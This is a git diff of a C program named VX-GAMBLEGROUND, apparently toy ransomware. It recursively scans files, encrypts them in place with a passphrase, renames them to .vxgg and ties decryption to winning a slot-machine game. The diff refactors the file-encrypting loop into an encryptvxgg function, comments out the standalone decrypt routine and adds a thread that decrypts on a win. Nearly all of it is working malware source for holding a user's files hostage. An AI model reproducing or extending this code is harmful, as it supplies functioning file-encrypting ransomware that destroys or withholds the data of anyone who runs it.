diff options
| -rw-r--r-- | src/VX-GAMBLEGROUND.c | 129 | ||||
| -rw-r--r-- | src/encryption.c | 70 | ||||
| -rw-r--r-- | src/encryption.h | 3 | ||||
| -rw-r--r-- | src/screen.c | 8 | ||||
| -rw-r--r-- | src/screen.h | 3 |
5 files changed, 131 insertions, 82 deletions
diff --git a/src/VX-GAMBLEGROUND.c b/src/VX-GAMBLEGROUND.c index 1e508a2..d7e1842 100644 --- a/src/VX-GAMBLEGROUND.c +++ b/src/VX-GAMBLEGROUND.c | |||
| @@ -158,87 +158,52 @@ int doslots_twrapper(void *passed) { | |||
| 158 | int scanundencrypt(void *passed) { | 158 | int scanundencrypt(void *passed) { |
| 159 | struct sande *p = (struct sande *)passed; | 159 | struct sande *p = (struct sande *)passed; |
| 160 | 160 | ||
| 161 | int err = REG_NOERROR; | ||
| 162 | regex_t encext; | ||
| 163 | if((err = regcomp(&encext, "(.*\\.vxgg)$", REG_EXTENDED | REG_ICASE | REG_NEWLINE))) { | ||
| 164 | endwin(); | ||
| 165 | error(1, 0, "[VX-GAMBLEGROUND] Regcomp failled. Encryption skipped, lucky bastard. ECODE: %d", err); | ||
| 166 | } | ||
| 167 | |||
| 168 | p->scanned = scanfiles(p->STARTPATH, p->cmp); | 161 | p->scanned = scanfiles(p->STARTPATH, p->cmp); |
| 169 | if(p->scanned == NULL) | 162 | encryptvxgg(p->scanned, p->passphrase); |
| 170 | error(1, errno, "[VX-GAMBLEGROUND] filescan broke"); | ||
| 171 | |||
| 172 | int fd = -1; | ||
| 173 | for(struct nodelist *p2 = p->scanned; p2 != NULL; p2 = p2->next) { | ||
| 174 | // I'm retarded and forgot that my linked list implementation is bad so I need to explicitly check this or it will crash | ||
| 175 | if(p2->fullpath == NULL) | ||
| 176 | continue; | ||
| 177 | |||
| 178 | if(regexec(&encext, p2->fullpath, 0, NULL, 0) != REG_NOMATCH) | ||
| 179 | continue; | ||
| 180 | |||
| 181 | |||
| 182 | char *newname = NULL; | ||
| 183 | if(asprintf(&newname, "%s.vxgg", p2->fullpath) < 0) { | ||
| 184 | endwin(); | ||
| 185 | error(1, errno, "[VX-GAMBLEGROUND] Couldn't get file's newname"); | ||
| 186 | } | ||
| 187 | rename(p2->fullpath, newname); | ||
| 188 | |||
| 189 | 163 | ||
| 190 | fd = open(newname, O_RDWR); | ||
| 191 | free(newname); | ||
| 192 | if(fd < 0) | ||
| 193 | continue; | ||
| 194 | |||
| 195 | passencblock(fd, p->passphrase); | ||
| 196 | close(fd); | ||
| 197 | } | ||
| 198 | |||
| 199 | // I don't have to do this, but I might as well | ||
| 200 | nodelist_delete(p->scanned); | ||
| 201 | return 0; | 164 | return 0; |
| 202 | } | 165 | } |
| 203 | 166 | ||
| 204 | int decrypt(void *args) { | 167 | // int decrypt(void *args) { |
| 205 | struct sande *pass = (struct sande *)args; | 168 | // struct sande *pass = (struct sande *)args; |
| 206 | pass->scanned = scanfiles(pass->STARTPATH, pass->cmp); | 169 | // pass->scanned = scanfiles(pass->STARTPATH, pass->cmp); |
| 207 | if(pass->scanned == NULL) | 170 | // if(pass->scanned == NULL) |
| 208 | error(1, 0, "[VX-GAMBLEGROUND] Filescan broke"); | 171 | // error(1, 0, "[VX-GAMBLEGROUND] Filescan broke"); |
| 209 | 172 | ||
| 210 | int err = REG_NOERROR; | 173 | // int err = REG_NOERROR; |
| 211 | regex_t encext; | 174 | // regex_t encext; |
| 212 | if((err = regcomp(&encext, "(.*\\.vxgg)$", REG_EXTENDED | REG_ICASE | REG_NEWLINE))) | 175 | // if((err = regcomp(&encext, "(.*\\.vxgg)$", REG_EXTENDED | REG_ICASE | REG_NEWLINE))) |
| 213 | error(1, 0, "[VX-GAMBLEGROUND] Regcomp failled. Decryption skipped, unlucky bastard. ECODE: %d", err); | 176 | // error(1, 0, "[VX-GAMBLEGROUND] Regcomp failled. Decryption skipped, unlucky bastard. ECODE: %d", err); |
| 214 | 177 | ||
| 215 | int fd = -1; | 178 | // int fd = -1; |
| 216 | for(struct nodelist *p = pass->scanned; p != NULL; p = p->next) { | 179 | // for(struct nodelist *p = pass->scanned; p != NULL; p = p->next) { |
| 217 | if(p->fullpath == NULL) | 180 | // if(p->fullpath == NULL) |
| 218 | continue; | 181 | // continue; |
| 219 | 182 | ||
| 220 | if(regexec(&encext, p->fullpath, 0, NULL, 0) == REG_NOMATCH) | 183 | // if(regexec(&encext, p->fullpath, 0, NULL, 0) == REG_NOMATCH) |
| 221 | continue; | 184 | // continue; |
| 222 | 185 | ||
| 223 | fd = open(p->fullpath, O_RDWR); | 186 | // fd = open(p->fullpath, O_RDWR); |
| 224 | if(fd < 0) | 187 | // if(fd < 0) |
| 225 | continue; | 188 | // continue; |
| 226 | passencblock(fd, pass->passphrase); | 189 | // passencblock(fd, pass->passphrase); |
| 227 | close(fd); | 190 | // close(fd); |
| 228 | 191 | ||
| 229 | // Once again my problems are solved by allocating shit instead of using static shit | 192 | // // Once again my problems are solved by allocating shit instead of using static shit |
| 230 | char *newname = calloc(strlen(p->fullpath) + 1, sizeof(*newname)); | 193 | // char *newname = calloc(strlen(p->fullpath) + 1, sizeof(*newname)); |
| 231 | strncpy(newname, p->fullpath, (strlen(p->fullpath) - strlen(".vxgg"))); | 194 | // strncpy(newname, p->fullpath, (strlen(p->fullpath) - strlen(".vxgg"))); |
| 232 | rename(p->fullpath, newname); | 195 | // rename(p->fullpath, newname); |
| 233 | free(newname); | 196 | // free(newname); |
| 234 | } | 197 | // } |
| 198 | |||
| 199 | // endwin(); // Calling this shouldn't be a problem even if ncurses isn't initalized | ||
| 200 | // error(0, 0, "[VX-GAMBLEGROUND] Your files have been decrypted. Thanks for playing!"); | ||
| 201 | // exit(0); | ||
| 202 | |||
| 203 | // return 0; | ||
| 204 | // } | ||
| 235 | 205 | ||
| 236 | endwin(); // Calling this shouldn't be a problem even if ncurses isn't initalized | ||
| 237 | error(0, 0, "[VX-GAMBLEGROUND] Your files have been decrypted. Thanks for playing!"); | ||
| 238 | exit(0); | ||
| 239 | 206 | ||
| 240 | return 0; | ||
| 241 | } | ||
| 242 | 207 | ||
| 243 | int main(int argc, char *argv[]) { | 208 | int main(int argc, char *argv[]) { |
| 244 | struct arguments args = { | 209 | struct arguments args = { |
| @@ -261,16 +226,16 @@ int main(int argc, char *argv[]) { | |||
| 261 | 226 | ||
| 262 | 227 | ||
| 263 | // Deal with decrypting flag | 228 | // Deal with decrypting flag |
| 264 | if((args.flags & SKIPSLOTS) && (args.inputpass != NULL)) { | 229 | // if((args.flags & SKIPSLOTS) && (args.inputpass != NULL)) { |
| 265 | struct sande pass = { | 230 | // struct sande pass = { |
| 266 | .cmp = alphasort, | 231 | // .cmp = alphasort, |
| 267 | .passphrase = passphrase, | 232 | // .passphrase = passphrase, |
| 268 | .scanned = NULL, | 233 | // .scanned = NULL, |
| 269 | .STARTPATH = FILESCAN_START | 234 | // .STARTPATH = FILESCAN_START |
| 270 | }; | 235 | // }; |
| 271 | decrypt((void*)&pass); | 236 | // decrypt((void*)&pass); |
| 272 | return 0; | 237 | // return 0; |
| 273 | } | 238 | // } |
| 274 | 239 | ||
| 275 | struct bullshit stuff; | 240 | struct bullshit stuff; |
| 276 | struct nodelist *files = NULL; | 241 | struct nodelist *files = NULL; |
diff --git a/src/encryption.c b/src/encryption.c index 268b802..8f52e49 100644 --- a/src/encryption.c +++ b/src/encryption.c | |||
| @@ -4,8 +4,13 @@ | |||
| 4 | * Makes files unreadable, kinda. | 4 | * Makes files unreadable, kinda. |
| 5 | */ | 5 | */ |
| 6 | 6 | ||
| 7 | #define _GNU_SOURCE | ||
| 8 | #define TESTING | ||
| 9 | |||
| 10 | #include "ll.h" // Why the fuck did putting this before encryption.h fix my compilation problem | ||
| 7 | #include "encryption.h" | 11 | #include "encryption.h" |
| 8 | 12 | ||
| 13 | |||
| 9 | #include <sys/types.h> | 14 | #include <sys/types.h> |
| 10 | #include <sys/stat.h> | 15 | #include <sys/stat.h> |
| 11 | #include <stdlib.h> | 16 | #include <stdlib.h> |
| @@ -17,6 +22,8 @@ | |||
| 17 | #include <fcntl.h> | 22 | #include <fcntl.h> |
| 18 | 23 | ||
| 19 | #include <stdio.h> | 24 | #include <stdio.h> |
| 25 | #include <stdarg.h> | ||
| 26 | #include <regex.h> | ||
| 20 | 27 | ||
| 21 | // Encrypt a file (OVERWRITES FILE!) using a passphrase | 28 | // Encrypt a file (OVERWRITES FILE!) using a passphrase |
| 22 | size_t passenc(int fd, const char *passphrase) { | 29 | size_t passenc(int fd, const char *passphrase) { |
| @@ -174,6 +181,69 @@ size_t passencblock(int fd, const char *passphrase) { | |||
| 174 | return totalwritten; | 181 | return totalwritten; |
| 175 | } | 182 | } |
| 176 | 183 | ||
| 184 | int rename_format(const char *fullpath, const char *format, ...) { | ||
| 185 | va_list ap; | ||
| 186 | va_start(ap, format); | ||
| 187 | |||
| 188 | char *newname = NULL; int err = 0; | ||
| 189 | if((err = vasprintf(&newname, format, ap)) < 0) { | ||
| 190 | error(0, 0, "<rename_nodelist> Could not create string for new file"); | ||
| 191 | return err; | ||
| 192 | } | ||
| 193 | |||
| 194 | if((err = rename(fullpath, newname)) < 0) { | ||
| 195 | error(0, errno, "<rename_nodelist> Could not rename file \"%s\" to \"%s\"", fullpath, newname); | ||
| 196 | return err; | ||
| 197 | } | ||
| 198 | |||
| 199 | free(newname); | ||
| 200 | va_end(ap); | ||
| 201 | |||
| 202 | return err; | ||
| 203 | } | ||
| 204 | |||
| 205 | |||
| 206 | |||
| 207 | int encryptvxgg(const struct nodelist *list, const char *passphrase) { | ||
| 208 | int fd = -1; | ||
| 209 | |||
| 210 | regex_t encext; | ||
| 211 | regcomp(&encext, "(.+\\.vxgg)$", REG_EXTENDED | REG_ICASE | REG_NEWLINE); | ||
| 212 | |||
| 213 | // Encrypt everything | ||
| 214 | for(const struct nodelist *p = list; p != NULL; p = p->next) { | ||
| 215 | if(p->fullpath == NULL) // Make sure I don't accidentally do anything with that last element | ||
| 216 | continue; | ||
| 217 | if(regexec(&encext, p->fullpath, 0, NULL, 0) != REG_NOMATCH) // Don't encrypt already encrypted files | ||
| 218 | continue; | ||
| 219 | |||
| 220 | fd = open(p->fullpath, O_RDWR); | ||
| 221 | if(fd < 0) { | ||
| 222 | #ifdef TESTING | ||
| 223 | error(0, errno, "<encryptvxgg> Could not open \"%s\" for encryption", p->fullpath); | ||
| 224 | #endif | ||
| 225 | continue; | ||
| 226 | } | ||
| 227 | |||
| 228 | passencblock(fd, passphrase); | ||
| 229 | close(fd); | ||
| 230 | #ifndef TESTING | ||
| 231 | rename_format(p->fullpath, "%s.vxgg", p->fullpath); | ||
| 232 | #else | ||
| 233 | rename_format(p->fullpath, "%s_%s.vxgg", p->fullpath, passphrase); | ||
| 234 | #endif | ||
| 235 | |||
| 236 | } | ||
| 237 | |||
| 238 | return 0; | ||
| 239 | } | ||
| 240 | |||
| 241 | // int decryptvxgg(const struct nodelist *list, const char *passphrase) { | ||
| 242 | |||
| 243 | |||
| 244 | // return 0; | ||
| 245 | // } | ||
| 246 | |||
| 177 | /* | 247 | /* |
| 178 | int main() { | 248 | int main() { |
| 179 | int fd = open("test.txt", O_RDWR); | 249 | int fd = open("test.txt", O_RDWR); |
diff --git a/src/encryption.h b/src/encryption.h index aa88048..15800f4 100644 --- a/src/encryption.h +++ b/src/encryption.h | |||
| @@ -9,4 +9,7 @@ size_t passenc(int fd, const char *passphrase); | |||
| 9 | /* Encrypt file descriptor FD one block at a time using PASSPHRASE as the encryption key */ | 9 | /* Encrypt file descriptor FD one block at a time using PASSPHRASE as the encryption key */ |
| 10 | size_t passencblock(int fd, const char *passphrase); | 10 | size_t passencblock(int fd, const char *passphrase); |
| 11 | 11 | ||
| 12 | // Encrypt a nodelist | ||
| 13 | int encryptvxgg(const struct nodelist *list, const char *passphrase); | ||
| 14 | |||
| 12 | #endif \ No newline at end of file | 15 | #endif \ No newline at end of file |
diff --git a/src/screen.c b/src/screen.c index d5b7f2b..4667895 100644 --- a/src/screen.c +++ b/src/screen.c | |||
| @@ -26,6 +26,9 @@ | |||
| 26 | #include <stdio.h> | 26 | #include <stdio.h> |
| 27 | #include <stdlib.h> | 27 | #include <stdlib.h> |
| 28 | #include <string.h> | 28 | #include <string.h> |
| 29 | #include <threads.h> | ||
| 30 | |||
| 31 | #define TESTING | ||
| 29 | 32 | ||
| 30 | //////////////////////////////////// SPECIFICALLY USEFUL FUNCS //////////////////////////////////// | 33 | //////////////////////////////////// SPECIFICALLY USEFUL FUNCS //////////////////////////////////// |
| 31 | 34 | ||
| @@ -326,6 +329,9 @@ int spin(void *params) { | |||
| 326 | } | 329 | } |
| 327 | if(winning == 3) { | 330 | if(winning == 3) { |
| 328 | // Do winning anim | 331 | // Do winning anim |
| 332 | thrd_t decryptor; | ||
| 333 | thrd_create(&decryptor, p->decrypt_callback, p->decrypt_args); | ||
| 334 | |||
| 329 | mvaddch(0, 0, 'J'); | 335 | mvaddch(0, 0, 'J'); |
| 330 | for(int i = 0, color = CCP_WINNING1;; i++, color = rangemod(color, 1, CCP_WINNING1, CCP_WINNING2)) { | 336 | for(int i = 0, color = CCP_WINNING1;; i++, color = rangemod(color, 1, CCP_WINNING1, CCP_WINNING2)) { |
| 331 | bkgd(COLOR_PAIR(color)); | 337 | bkgd(COLOR_PAIR(color)); |
| @@ -334,6 +340,8 @@ int spin(void *params) { | |||
| 334 | refresh(); | 340 | refresh(); |
| 335 | nanosleep(&sleeper, NULL); | 341 | nanosleep(&sleeper, NULL); |
| 336 | } | 342 | } |
| 343 | |||
| 344 | thrd_join(decryptor, NULL); | ||
| 337 | } | 345 | } |
| 338 | 346 | ||
| 339 | // Revert colors back to normal | 347 | // Revert colors back to normal |
diff --git a/src/screen.h b/src/screen.h index 0e5137a..43793b5 100644 --- a/src/screen.h +++ b/src/screen.h | |||
| @@ -186,6 +186,9 @@ struct params { | |||
| 186 | 186 | ||
| 187 | WINDOW *menuholder; | 187 | WINDOW *menuholder; |
| 188 | MENU *menu; | 188 | MENU *menu; |
| 189 | |||
| 190 | int (*decrypt_callback)(void*); | ||
| 191 | void *decrypt_args; | ||
| 189 | 192 | ||
| 190 | // Previously buyp | 193 | // Previously buyp |
| 191 | unsigned int price; | 194 | unsigned int price; |
